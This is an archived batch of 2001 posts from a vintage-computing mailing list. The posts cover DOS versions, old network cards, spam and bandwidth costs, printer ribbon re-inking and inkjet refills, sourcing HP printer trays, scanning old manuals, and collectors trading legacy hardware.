canit.se Fri Jun 22 20:09:37 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:45 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: <200106221706.LAA28345@calico.litterbox.com> Message-ID: <583.574T1850T1295263optimus@canit.se> Jim Strickland skrev: >Ah yes, DOS 5.0. The last time I felt I got my money's worth from >a Microsoft product. It was SO cool when you were used to whatever >3.3 copies you'd pilfered from wherever. Win95 came close to this >only when fresh out of the box installed with all protected mode >drivers. It was all downhill from there. I bought DOS 5.0 >from one of the campus computing organizations at my grad school. >It was expensive, if memory serves. But worth it. Why? It had no GUI, no multitasking and rudimentary limitations on filenames. -- En ligne avec Thor 2.6a. From optimus at canit.se Fri Jun 22 20:06:21 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:45 2005 Subject: More free stuff... In-Reply-To: <20010622093117.K3760@cx47646-a.phnx1.az.home.com> Message-ID: <631.574T1050T1264655optimus@canit.se> Shawn T. Rutledge skrev: >On Fri, Jun 22, 2001 at 10:10:40AM -0400, Ram Meenakshisundaram wrote: >> 5 to 6 ISA 3COM Ethernet cards >I hope these are 3c509's, not older ones? What, you mean you don't like the original Etherlinks with one-packet buffers? BTW, a while ago I looked at a very old 3Com full-length card. The PCB was a rich blue, much like the 3C501, but that's a small eight-bit ISA card, this one was full-length. For some reason the seller thought he could ask more for this card than the 3C509s of another seller, so I skipped them. Otherwise, they would have been a nice curiosity. -- En ligne avec Thor 2.6a. From optimus at canit.se Fri Jun 22 20:21:42 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:45 2005 Subject: Wave of the Future (Spam) In-Reply-To: <001101c0fb24$fd56ea20$9cc762d8@idcomm.com> Message-ID: <1512.574T2100T1416157optimus@canit.se> Richard Erlacher skrev: >The majority of the SPAM I receive is not only from foreign hosts, but in >languages I can't read. I most often don't even have the required character >set loaded up. That's odd, most spam I get, while a fair share is in Chinese, is in English. Quite often, it is also stated that "this offer is only available to US residents". BLOODY HELL! What do you think the ".se" means? >U.S. law won' have any impact outside the U.S. Thankfully. >In the meantime, let's keep the GOV out of our internet. All they'll do is >limit our ability to use the thing. They won't make it work better. What's >needed is a way to identify bulk mailings of all sorts, so that the sender >can be charged proportionally to his/her bandwidth consumption. That's the >REAL problem with SPAM. It steals bandwidth. Loss of this bandwidth will >inevitably result in all of us having to pay for the bandwidth we use. That >will result in the very people who should be using the internet using it less >because it costs more to use it more. The bandwidth cost has to be >structured such that high-volume uses pay MORE not less. Just like >electrical power users, the use of more than a typical small household >requires should be penalized with higher rates ... MUCH higher rates ... >rather than lower rates as a reward for wasting more. Erlacher, have you considered how much bandwidth you are wasting by not snipping responsibly? -- En ligne avec Thor 2.6a. Hackers do it with fewer instructions. From optimus at canit.se Fri Jun 22 20:28:46 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:45 2005 Subject: Source for anti-static bags? In-Reply-To: <993238738.3b339ed303fda@email.ou.edu> Message-ID: <460.574T2300T1486245optimus@canit.se> Jeffrey S. Sharp skrev: >Quoting Lawrence LeMay : >> One such place is staticbags.com >That seems like the easiest thing to do. I've just ordered some. >Thanks for all the help, everyone! But Jeffrey, didn't you want anti-static ones? Now you'll mess up all your sensitive electronics. Can't really see the application for such bags, either. -- En ligne avec Thor 2.6a. The first rule of intelligent tinkering is to save all the parts. From optimus at canit.se Fri Jun 22 18:45:59 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:45 2005 Subject: Wave of the Future (Spam) In-Reply-To: <003d01c0fb27$c3a8f4a0$9cc762d8@idcomm.com> Message-ID: <588.574T2950T456383optimus@canit.se> Richard Erlacher skrev: >It's not grassroots capitalism, but it is human nature. If you could get >someone else to pay your electric bill, wouldn't you use it, at least so long >as it was legal? Not necessarily, no. >Capitalism is not evil. Letting others take a free ride at your (and >others') expense because it's easier to allow it than to prevent it is what's >evil. Capitalism is evil. Evil as a noun. It is a very unsociable habit. -- En ligne avec Thor 2.6a. Es gibt zweierlei M?dchen: die einen, die Pullover stricken, und die anderen, die sie ausf?llen. --- Daliah Lavi From optimus at canit.se Sat Jun 23 01:14:38 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:45 2005 Subject: Wave of the Future (Spam) In-Reply-To: <004901c0fb2a$c53bc240$9cc762d8@idcomm.com> Message-ID: <1097.574T1900T4345321optimus@canit.se> Richard Erlacher skrev: >WE are the ones who pay for SPAM, and WE are not the ones who want it that >way. Perhaps rewriting the email protocols can fix that, but the place it >has to be worked out is in the IP/ICMP pair, among others, and in the TCP/UDP >pair. Tracking the actual bandwidth used by a SPAMmed message probably will >involve tunnelling protocols, which are normally avoided in order to preserve >the layered architecture. My own experience with SPAM has shown me that even >the application layer doesn't generally become aware of the actual source of >the mass-mailing. Nevertheless, the challenge is to find that source and >pass the cost back to him. It's not a priority today, because we're not >charged by the bit. People are charged for bandwidth usage in some >countries, however, so it's just a matter of time. I'm using a modem, and as a matter of consequence I *am* charged by the bit, since downloading 40 messages takes twice as much time as downloading 20. -- En ligne avec Thor 2.6a. Amiga 4000/040 25MHz/44MB/20GB RetinaBLTZ3/VLab/FastlaneZ3/Ariadne/Toccata From brian at quarterbyte.com Sat Jun 23 02:34:00 2001 From: brian at quarterbyte.com (Brian Knittel) Date: Sun Feb 27 19:04:45 2005 Subject: preserving / ressurecting old docs? References: <200106230203.VAA53475@opal.tseinc.com> Message-ID: <003001c0fbb6$debf1be0$0600a8c0@peachoid> Pardon me if I missed someone raising this issue yesterday, but if you're scanning grey level images, it might be worth seeing what happens if you raise the resolution and switch from grey level to black & white (line art) scans -- one bit per pixel. Then you can raise the resolution from 100x100 to 300x300 (9 times the pixels) , and end up with only a 12% increase in filesize. Photos & halftoned images don't suffer this well, but the text and line art will be much better off. This requires you to take some care setting the contrast and black level when preparing to scan, though. Alternately you could scan at 300x300 greyscale (8 bits per pixel ) and run the pages through a filter to reduce the bit depth from 8 to say 2 or 3. This would only be feasible if you could automate that process, though. Before embarking on this huge project, it might be worth trying a few different techniques to obtain sharper images while keeping the file sizes reasonable. Brian From mikeford at socal.rr.com Sat Jun 23 02:16:56 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:45 2005 Subject: Boom cars (ot for sure...) In-Reply-To: References: Message-ID: >> One of my brothers old buddies had his exhaust rigged with a pair of 3" >> electric aircraft fuel valves. Switch up on the dash ran the exhaust thru a >> Caddie quiet set of mufflers, down and it went out about a foot behind the >> front wheels with no restriction of any kind. Not only rather loud, but >> shot flame a fair distance. >> > >Since the fuel valves were undoubtedly aluminum, I would wonder how long >they lasted! He drove it at least a couple years and maybe 40 to 50k miles mostly cross country. I think they were stainless steel though. From mikeford at socal.rr.com Sat Jun 23 02:28:21 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:45 2005 Subject: OT: replacment tray for HP DJ1200C printer In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD371511E5@jeffserver.tegjeff.com> Message-ID: >> Now is the time to buy cartridges too, as MANY big dealers are dumping >> them, and when its gone its gone (at decent prices anyway). > >Not a very successful strategy; the ink cartridges for the HP1200C, >HP650c Plotter, HP750c/755CM+, and the black cartridges for the >HP DeskJet 870 & 895 have a limited shelf life. Limited shelf life and refilling is a very bad idea. This message brought you by HP. From mikeford at socal.rr.com Sat Jun 23 02:11:51 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:45 2005 Subject: Wave of the Future (Spam) In-Reply-To: <004101c0fb3f$901858c0$9cc762d8@idcomm.com> References: <200106221637.JAA08962@stockholm.ptloma.edu> Message-ID: >I worked on some promotional material for the Libertarian party and did that >only long enough to learn that, while the aggregate of their collective >opinions All it took for the Green party to SERIOUSLY clean up their act was to get elected in more than token amounts. The libertarian party hasn't gotten to that stage, and may never. From terryc at woa.com.au Sat Jun 23 03:32:28 2001 From: terryc at woa.com.au (Terry Collins) Date: Sun Feb 27 19:04:45 2005 Subject: Ribbon Re-inking, Re: OT: replacment tray for HP DJ1200C printer References: Message-ID: <3B34541C.DE81808E@woa.com.au> Mike Ford wrote: > > >> Now is the time to buy cartridges too, as MANY big dealers are dumping > >> them, and when its gone its gone (at decent prices anyway). > > > >Not a very successful strategy; the ink cartridges for the HP1200C, > >HP650c Plotter, HP750c/755CM+, and the black cartridges for the > >HP DeskJet 870 & 895 have a limited shelf life. > > Limited shelf life and refilling is a very bad idea. This message brought > you by HP. My own 2c is on Nylon ribbons for Dot Matrix - even sealed in plastic, these do have a shelf life as the ink dries up. I purchased about 20 all up for my NEC P5200 and basically used them in lots of five. I.E. Use a ribbon until faint, swap to next ribbon, use to faint, etc, then re-ink a lot. Reinking was a really messy business requiring holding the bits, much metho, etc. I kept on with the use - reink cycle until either ribbon wore through or the internal feed mechanism wore out. By the time I had used up the first 10, the second 10 had all dried out (about 10 years (?). However, the old WD40 trick recovers them for a first use, then I re-ink. Still doing it, but the printer needs a major service, so I tend to just do text printing off the HP laser now as the need for multi-layer forms has passed and it is such a messy business to re-ink. Having helped a lot of people re-ink ribbons (PC printer only) over the years, you get to learn alot about ribbons. The best were the printers that ran a moebius strip and printed in the top or bottom half. The worse was a little brother that had about 6" of ribbon which brushed a sponge tank inside to re-ink the ribbon. My experience of refilling inkjet cartridges was that it sometime works and sometimes doesn't. There seems to be a vapour lock problem, plus it takes an enormous amount of cleaning and testing to clean out blocked heads. $ wise, it was just as easy to shop around and buy generic cartridges. If you are buying for the long term, get a printer with separate refills for each of the four colours. Then vapour lock on one doesn't render the other colours lost. -- Terry Collins {:-)}}} Ph(02) 4627 2186 Fax(02) 4628 7861 email: terryc@woa.com.au www: http://www.woa.com.au WOA Computer Services "People without trees are like fish without clean water" From foo at siconic.com Sat Jun 23 02:55:25 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:45 2005 Subject: preserving / ressurecting old docs? In-Reply-To: Message-ID: On Sat, 23 Jun 2001, Brian Chase wrote: > A fairly good practical example of this actually working can be found > by looking no further than the DNA of a species. Modern homo sapiens > have been around for a lot longer than books. The species has managed > to stick around this long by passing it's DNA along from individual to > individual over many tens of thousands of years. It's not a perfect > example, given that the process involves blending DNA from two > sources, but the "copy and pass on" mechanism obviously is one that > works. Digital media should only be looked at as a temporary > container. An interesting analogy. But the reason it has worked so well is that humans have a built-in desire to have sex, and thus propagate our vital information. If having sex could promote the propogation of computer documentation then we could rest easy, but so far being geeky and keeping old computer stuff around does not necessarily lead to excessive sexual encounters (I must admit to being an exception ;) The only surefire way to preserve this stuff is to keep hard copies somewhere. I'm doing my part. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From lists at aussie.nu Sat Jun 23 07:36:15 2001 From: lists at aussie.nu (Lists) Date: Sun Feb 27 19:04:45 2005 Subject: MS-DOS backup program - HARDSAVE In-Reply-To: Message-ID: Hi All, Does anyone, by any chance, happen to have a copy of the 'HARDSAVE' backup program, circa 1987? I've got a few backup sets in that format that I'd like to get access to, but my copies of the software are corrupt :-( I've searched the net, but not turned up anything. I'm hoping that someone here might, from their BBS days, happen to still have a copy... Cheers. From blacklord at telstra.com Sat Jun 23 08:52:12 2001 From: blacklord at telstra.com (blacklord) Date: Sun Feb 27 19:04:45 2005 Subject: MS-DOS backup program - HARDSAVE Message-ID: <32c9f232a758.32a75832c9f2@bigpond.com> > > Does anyone, by any chance, happen to have a copy of the > 'HARDSAVE' backup > program, circa 1987? > I'm hoping that someone here might, from their BBS days, happen to > stillhave a copy... > Can't help sorry, but that reminded me, I'd kill to get my hands on a copy of BBS-PC! for MS-DOs (not Amiga). cheers, BL ---------------- Powered by telstra.com From at258 at osfn.org Sat Jun 23 09:07:39 2001 From: at258 at osfn.org (Merle K. Peirce) Date: Sun Feb 27 19:04:45 2005 Subject: Research Machines Nimbus PC1 In-Reply-To: Message-ID: Adrian, would you mind saving one of these for us? A lot of action lately, I think we have 6 computers waiting to be retreived. I'm going to North Carolina to rescue a Wang this coming week, possibly with my mentally ill girlfriend. I suppose when I get back I'll be quite tappy. My friends would be wont to say, "How could we tell?" We got the RCS/RI VS100 last week. It's a really beautiful machine, and heavy. I don't think you'd want to try and fit one in your apartment, though you might be able to make it up as a chesterfield. We just had an IBM cardpunch given to us last night, and after a delay, it looks like we're getting a flock of IBM 3380's in Wisconsin. Originally there were 2, then 4 now 6. I think they're breeding. Incidentally, you might want to go to the University of Wisconsin site and hunt down their page on the Titan Arum which just bloomed. There's some sort of NCR sitting about 30 miles away. Maybe I'll get to that in another week. We got a Perkin Elmer, also. It's starting to look like they may be rebadged Concurrents. On Mon, 18 Jun 2001, Adrian Graham wrote: > Hi Folks, > > I gather nobody's interested in saving one of these pretty smart 80186 based > machines? I certainly haven't got room for 3 of 'em...... > > cheers > > adrian/witchy > www.binarydinosaurs.co.uk - the Online Computer Museum > 0:OK, 0:1 > > M. K. Peirce Rhode Island Computer Museum, Inc. Shady Lea, Rhode Island "Casta est quam nemo rogavit." - Ovid From edick at idcomm.com Sat Jun 23 09:04:23 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:45 2005 Subject: OT: replacment tray for HP DJ1200C printer References: <7A9BACCEF0171D4FB77019F5104CDD371511E5@jeffserver.tegjeff.com> Message-ID: <002201c0fbee$2cfde980$9cc762d8@idcomm.com> Injet refill kits abound, though I've not yet tried one myself. I presently have DJ5xx series, DJ 820Cxx, DJ1120C, and this DJ1200C, all of which can use refilled cartridges. Has anybody had success with this money-saving process? Does it work well enough to warrant a substantial investment in ink? How is the shelf-life of the refill ink? This might be worthy of a discussion thread, since there seem to be more vendors of refill kits every day. Dick ----- Original Message ----- From: "Douglas Quebbeman" To: Sent: Friday, June 22, 2001 2:03 PM Subject: RE: OT: replacment tray for HP DJ1200C printer > > >The 1200c and 1600c are durable and expensive printers and well worth the > > >cost of even buying the tray kit from HP at list, unlike some of the junker > > >inkjets made by Canon, Epson, Lexmark, etc. The 1200c and 1600c are more in > > >the professional series as well. > > > > Now is the time to buy cartridges too, as MANY big dealers are dumping > > them, and when its gone its gone (at decent prices anyway). > > Not a very successful strategy; the ink cartridges for the HP1200C, > HP650c Plotter, HP750c/755CM+, and the black cartridges for the > HP DeskJet 870 & 895 have a limited shelf life. > > However, I think you're wrong about these particular cartridges > disappearing from the market any time soon. > > YMMV, etc. > > -dq > > From edick at idcomm.com Sat Jun 23 09:08:20 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:45 2005 Subject: OT: replacment tray for HP DJ1200C printer References: Message-ID: <002301c0fbee$2d1f7b40$9cc762d8@idcomm.com> Thanks for the pointer, Doug. I searched on the HP web site and couldn't even get a nibble with the DJ1200C as a search term. I had the general sense that this printer uses the same trays as some other peripheral, either a laser printer or a plotter, either of which is more likely to turn up in the thrift stores or surplus outlets than a DJ1200C. I paid $4 for the printer, so I'm not out much if it ends up too troublesome. Unfortunately, nothing else in the world seems to use the same printer cartridges. This printer happens to have nearly full cartridges, and it's pretty clean, aside from the missing feeder tray. Dick ----- Original Message ----- From: "Russ Blakeman" To: Sent: Friday, June 22, 2001 3:19 AM Subject: RE: OT: replacment tray for HP DJ1200C printer > The Deskjet 1200c is also known by it's product number of C1767A and the > tray part number is C1676-60122 (tray kit w/ upper and lower tray) and HP's > list price is $49.00 which includes shipping. You can order it yourself by > phone (800-227-8164 from 5a to 5pm PST) or go to http://partsdirect.hp.com > and "shop for parts" putting a quantity of 1 on the qty box and the above > part number in the part number box. I normally can get a discount on them > and even drop-ship to a person but HP is screwing around with the ASP system > and I'm not able to access them my normal way. > > Since you have the part number also go to www.printerworks.com or > www.agson.com and check with them on price. Both sell to the public and are > usually under HP's price. Agson's online database sucks so I recommend > calling them on the 800 number. > > The 1200c and 1600c are durable and expensive printers and well worth the > cost of even buying the tray kit from HP at list, unlike some of the junker > inkjets made by Canon, Epson, Lexmark, etc. The 1200c and 1600c are more in > the professional series as well. > > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Mike Ford > Sent: Friday, June 22, 2001 2:47 AM > To: classiccmp@classiccmp.org > Subject: Re: OT: replacment tray for HP DJ1200C printer > > > >Has anyone got a reliable recommendation on where one might obtain a > >replacment > >paper tray for the HP DeskJet 11200C printer. I'd like to know whether > that > >tray is interchangeable with any other printer or plotter models, in the > event > >anyone knows that. > > Ebay or worse some legacy support joint. The catch with paper trays is that > almost NONE of them have any kind of identifying marking, so that when I > find a "tray" if I can't visually ID it, most of the time I know its going > to NEVER be IDed, hence no value to anybody. Most of them get tossed. > > I don't recognize that printer model, but do see 300XL and 1200XL > (unfortunately also typically going in the trash). > > > From bshannon at tiac.net Sat Jun 23 09:16:10 2001 From: bshannon at tiac.net (Bob Shannon) Date: Sun Feb 27 19:04:45 2005 Subject: Helett Packard 2647A Graphics Terminal References: <31489831608e.31608e314898@bigpond.com> Message-ID: <3B34A4AA.64C0BEAE@tiac.net> You open it by pressing in 2 small slots on the sides, near the front bezel. These slots are hidden in the line between the top and bottom halfs. There is acutally a small key-like tol used to press the release springs, but you can often get away with a small flat blade screwdriver. I've got a 2647A, but it needs repair. blacklord wrote: > Just found this new toy, looks impressive! > > I know it has it's own version of Basic & this one is intact with it's > serial cable & a collection of cards inside (if I can figure out how to > open it, I'll post what they are). > > A couple of questions: What can I do with it? Is the serial cable > straight through or null modem? Can I connect it to one of my modern > PC's ? Where can I find info on this beast ? (alright, *4* questions > then....) > > BL > > ---------------- > Powered by telstra.com > > From edick at idcomm.com Sat Jun 23 09:55:16 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:45 2005 Subject: Wave of the Future (Spam) References: <1097.574T1900T4345321optimus@canit.se> Message-ID: <001d01c0fbf4$841478a0$9cc762d8@idcomm.com> Point taken, but most folks here in the U.S. either have unlimited accounts (typically costing $12-$20 monthly, and the extra bandwidth is transparent to them. Here in the U.S. is where the battle will be fought, though, and it's here, where complacency reigns, that the SPAMmers have the best chance of getting by, since everybody worries about what's easy, and almost nobody cares about what's right. Dick ----- Original Message ----- From: "Iggy Drougge" To: "Richard Erlacher" Sent: Saturday, June 23, 2001 12:14 AM Subject: Re: Wave of the Future (Spam) > Richard Erlacher skrev: > > >WE are the ones who pay for SPAM, and WE are not the ones who want it that > >countries, however, so it's just a matter of time. > > I'm using a modem, and as a matter of consequence I *am* charged by the bit, > since downloading 40 messages takes twice as much time as downloading 20. > > -- > En ligne avec Thor 2.6a. > > Amiga 4000/040 25MHz/44MB/20GB RetinaBLTZ3/VLab/FastlaneZ3/Ariadne/Toccata > > From edick at idcomm.com Sat Jun 23 09:59:33 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:45 2005 Subject: Wave of the Future (Spam) References: Message-ID: <002301c0fbf5$1d080cc0$9cc762d8@idcomm.com> I use a Hotmail account as the SPAM bait address when I operate on usenet, and my Hotmail account gets about 90% SPAM. It's easy to delete, and they (Hotmail) have even provided a sort of bulk-mail filter, which separates bulk-mail from what seems to be normal email and puts it in a separate mailbox. This, alone, suggests that there is some sentiment favoring preservation of the bulk-mail concept on the internet. My primary email, where this list is sent, has about 20% junk mail, of which most is easily recognizable. It's about the same ratio as what arrives in the snail-mail. Dick ----- Original Message ----- From: "Mike Ford" To: Sent: Friday, June 22, 2001 11:26 PM Subject: Re: Wave of the Future (Spam) > >> I don't see spam as a long term problem though. > > > >Oh? I see it growing. > > I do a lot of posting, usenet etc. and I always use my real name and my > email ID is my real name, and I never do anything to hide my email address. > Maybe 10% of my email is unwanted junk, split about half and half between > spam and web site junk where I failed to say no after visiting. > > Spam is so far from my problem list it isn't even funny. > > My sincere guess is that the solution to spam will be more of a PITA than spam. > > > From gene at ehrich.com Sat Jun 23 09:58:36 2001 From: gene at ehrich.com (Gene Ehrich) Date: Sun Feb 27 19:04:45 2005 Subject: MS-DOS programs In-Reply-To: <32c9f232a758.32a75832c9f2@bigpond.com> Message-ID: <4.3.2.7.2.20010623105725.00ae6de0@popmail.voicenet.com> At 11:52 PM 6/23/01 +1000, you wrote: >Can't help sorry, but that reminded me, I'd kill to get my hands on a >copy of BBS-PC! for MS-DOs (not Amiga). I don't have that one but do have some older DOS programs for sale on my web site. www.voicenet.com/~generic From edick at idcomm.com Sat Jun 23 10:03:52 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:46 2005 Subject: Wave of the Future (Spam) References: <1512.574T2100T1416157optimus@canit.se> Message-ID: <002f01c0fbf5$b7221f80$9cc762d8@idcomm.com> Sorry ... I suppose a cost based on transmitted messages would have effect on my behavior as well. Dick ----- Original Message ----- From: "Iggy Drougge" To: "Richard Erlacher" Sent: Friday, June 22, 2001 7:21 PM Subject: Re: Wave of the Future (Spam) > Richard Erlacher skrev: > > >The majority of the SPAM I receive is not only from foreign hosts, but in > >rather than lower rates as a reward for wasting more. > > Erlacher, have you considered how much bandwidth you are wasting by not > snipping responsibly? > > -- > En ligne avec Thor 2.6a. > > Hackers do it with fewer instructions. > > From cisin at xenosoft.com Sat Jun 23 10:17:10 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:46 2005 Subject: Wave of the Future (Spam) In-Reply-To: Message-ID: On Fri, 22 Jun 2001, Mike Ford wrote: > >> I don't see spam as a long term problem though. > >Oh? I see it growing. > I do a lot of posting, usenet etc. and I always use my real name and my > email ID is my real name, and I never do anything to hide my email address. > Maybe 10% of my email is unwanted junk, split about half and half between > spam and web site junk where I failed to say no after visiting. > Spam is so far from my problem list it isn't even funny. Perhaps the reason you have so little spam is because your friend left you off of his target list. > My sincere guess is that the solution to spam will be more of a PITA than spam. I think that that was literally what Sellam had in mind for spammers. From rhblake at bigfoot.com Sat Jun 23 11:08:04 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:46 2005 Subject: Ribbon Re-inking, Re: OT: replacment tray for HP DJ1200C printer In-Reply-To: <3B34541C.DE81808E@woa.com.au> Message-ID: Keep the ribbons in a cool, somewhat damper than normal area and they won't dry as fast. I used to keep the ones for my 5224 in a refrigerator and they lasted as much as 18 months without any drying. -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Terry Collins Sent: Saturday, June 23, 2001 3:32 AM To: classiccmp@classiccmp.org Subject: Ribbon Re-inking, Re: OT: replacment tray for HP DJ1200C printer Mike Ford wrote: > > >> Now is the time to buy cartridges too, as MANY big dealers are dumping > >> them, and when its gone its gone (at decent prices anyway). > > > >Not a very successful strategy; the ink cartridges for the HP1200C, > >HP650c Plotter, HP750c/755CM+, and the black cartridges for the > >HP DeskJet 870 & 895 have a limited shelf life. > > Limited shelf life and refilling is a very bad idea. This message brought > you by HP. My own 2c is on Nylon ribbons for Dot Matrix - even sealed in plastic, these do have a shelf life as the ink dries up. I purchased about 20 all up for my NEC P5200 and basically used them in lots of five. I.E. Use a ribbon until faint, swap to next ribbon, use to faint, etc, then re-ink a lot. Reinking was a really messy business requiring holding the bits, much metho, etc. I kept on with the use - reink cycle until either ribbon wore through or the internal feed mechanism wore out. By the time I had used up the first 10, the second 10 had all dried out (about 10 years (?). However, the old WD40 trick recovers them for a first use, then I re-ink. Still doing it, but the printer needs a major service, so I tend to just do text printing off the HP laser now as the need for multi-layer forms has passed and it is such a messy business to re-ink. Having helped a lot of people re-ink ribbons (PC printer only) over the years, you get to learn alot about ribbons. The best were the printers that ran a moebius strip and printed in the top or bottom half. The worse was a little brother that had about 6" of ribbon which brushed a sponge tank inside to re-ink the ribbon. My experience of refilling inkjet cartridges was that it sometime works and sometimes doesn't. There seems to be a vapour lock problem, plus it takes an enormous amount of cleaning and testing to clean out blocked heads. $ wise, it was just as easy to shop around and buy generic cartridges. If you are buying for the long term, get a printer with separate refills for each of the four colours. Then vapour lock on one doesn't render the other colours lost. -- Terry Collins {:-)}}} Ph(02) 4627 2186 Fax(02) 4628 7861 email: terryc@woa.com.au www: http://www.woa.com.au WOA Computer Services "People without trees are like fish without clean water" From rhblake at bigfoot.com Sat Jun 23 11:08:01 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:46 2005 Subject: OT: replacment tray for HP DJ1200C printer In-Reply-To: <002301c0fbee$2d1f7b40$9cc762d8@idcomm.com> Message-ID: Did my mention of the actual part number for the HP tray kit and how to get it not come through? You paid $4 for t he printer and even if you add the full $50 list price for the tray set that's cheap for either the 1200c or 1600c printers. If you didn't get the message I can resend and also check to see what my other suppliers get for them. Also the tip on buying mass qty's of carts is valid as they will clog/dry in the jets - part of the mechanics of the type of ink inthem. Refilling is ok a few times but you have to remember that it may or may not be as good as the original. -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Richard Erlacher Sent: Saturday, June 23, 2001 9:08 AM To: classiccmp@classiccmp.org Subject: Re: OT: replacment tray for HP DJ1200C printer Thanks for the pointer, Doug. I searched on the HP web site and couldn't even get a nibble with the DJ1200C as a search term. I had the general sense that this printer uses the same trays as some other peripheral, either a laser printer or a plotter, either of which is more likely to turn up in the thrift stores or surplus outlets than a DJ1200C. I paid $4 for the printer, so I'm not out much if it ends up too troublesome. Unfortunately, nothing else in the world seems to use the same printer cartridges. This printer happens to have nearly full cartridges, and it's pretty clean, aside from the missing feeder tray. Dick ----- Original Message ----- From: "Russ Blakeman" To: Sent: Friday, June 22, 2001 3:19 AM Subject: RE: OT: replacment tray for HP DJ1200C printer > The Deskjet 1200c is also known by it's product number of C1767A and the > tray part number is C1676-60122 (tray kit w/ upper and lower tray) and HP's > list price is $49.00 which includes shipping. You can order it yourself by > phone (800-227-8164 from 5a to 5pm PST) or go to http://partsdirect.hp.com > and "shop for parts" putting a quantity of 1 on the qty box and the above > part number in the part number box. I normally can get a discount on them > and even drop-ship to a person but HP is screwing around with the ASP system > and I'm not able to access them my normal way. > > Since you have the part number also go to www.printerworks.com or > www.agson.com and check with them on price. Both sell to the public and are > usually under HP's price. Agson's online database sucks so I recommend > calling them on the 800 number. > > The 1200c and 1600c are durable and expensive printers and well worth the > cost of even buying the tray kit from HP at list, unlike some of the junker > inkjets made by Canon, Epson, Lexmark, etc. The 1200c and 1600c are more in > the professional series as well. > > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Mike Ford > Sent: Friday, June 22, 2001 2:47 AM > To: classiccmp@classiccmp.org > Subject: Re: OT: replacment tray for HP DJ1200C printer > > > >Has anyone got a reliable recommendation on where one might obtain a > >replacment > >paper tray for the HP DeskJet 11200C printer. I'd like to know whether > that > >tray is interchangeable with any other printer or plotter models, in the > event > >anyone knows that. > > Ebay or worse some legacy support joint. The catch with paper trays is that > almost NONE of them have any kind of identifying marking, so that when I > find a "tray" if I can't visually ID it, most of the time I know its going > to NEVER be IDed, hence no value to anybody. Most of them get tossed. > > I don't recognize that printer model, but do see 300XL and 1200XL > (unfortunately also typically going in the trash). > > > From dlinder at uiuc.edu Sat Jun 23 12:46:13 2001 From: dlinder at uiuc.edu (Dan Linder) Date: Sun Feb 27 19:04:46 2005 Subject: DECrepeater 90C In-Reply-To: <200106230516.f5N5GNf15420@narnia.int.dittman.net> Message-ID: On Sat, 23 Jun 2001, Eric Dittman wrote: > Does anyone need a DECrepeater 90C? I have one that > I'll give to anyone for the price of shipping. There > is no power supply, and I don't know if it works, and > I don't even know what it does, but my best guess is > it is for linking together thinwire network devices. www.dnpg.com has lots 'o info. The Digital Networks Product Group. My brother & I actually scored a Multiswitch 900 frame with many modules related to this one. (tho I think the 90C is a mini-module - there are also larger modules that have have a multi-gigabit backplane) Ours is a beast of a hub, but not quite on-topic. - Dan Dan Linder / dlinder @ uiuc.edu Graduate Student, College of Engineering, Dept. of Computer Science - Dept. of Computer Science Teaching Assistant - DoRES Computer Accessibility Researcher From cisin at xenosoft.com Sat Jun 23 13:37:47 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:46 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: <583.574T1850T1295263optimus@canit.se> Message-ID: > Jim Strickland skrev: > >Ah yes, DOS 5.0. The last time I felt I got my money's worth from On 23 Jun 2001, Iggy Drougge wrote: > Why? It had no GUI, no multitasking and rudimentary limitations on filenames. So?, what's the down side? From fmc at reanimators.org Sat Jun 23 13:55:02 2001 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 19:04:46 2005 Subject: preserving / ressurecting old docs? In-Reply-To: Bill Bradford's message of "Fri, 22 Jun 2001 12:26:22 -0500" References: <20010622133137.62013.qmail@web9507.mail.yahoo.com> <20010622122622.M9041@mrbill.net> Message-ID: <200106231855.f5NItPV35692@daemonweed.reanimators.org> Bill Bradford wrote: > I'm scanning them in as 100dpi grayscale GIFs, then I will convert to > other format(s) and eventually to PDF. Scanning directly to PDF with > HP's software produces horrible output with compression artifacts. HP's software? The stuff that came with my 6200 was disappointing: I either got very lossy JPEGs or insufficiently-colorful GIFs out of it. I installed FreeBSD, SANE, and the GIMP and was much happier. -Frank McConnell From Innfogra at aol.com Sat Jun 23 14:12:43 2001 From: Innfogra at aol.com (Innfogra@aol.com) Date: Sun Feb 27 19:04:46 2005 Subject: TI 8002A... Message-ID: <3b.166f7584.2866442b@aol.com> Nice Find. I had one about 10 years ago. It is an early development system for 8 bit systems. Supported more than 8080s IIRC. Continue looking for the Docs and 8" Floppies. Paxton Astoria, OR -------------- next part -------------- An HTML attachment was scrubbed... URL: 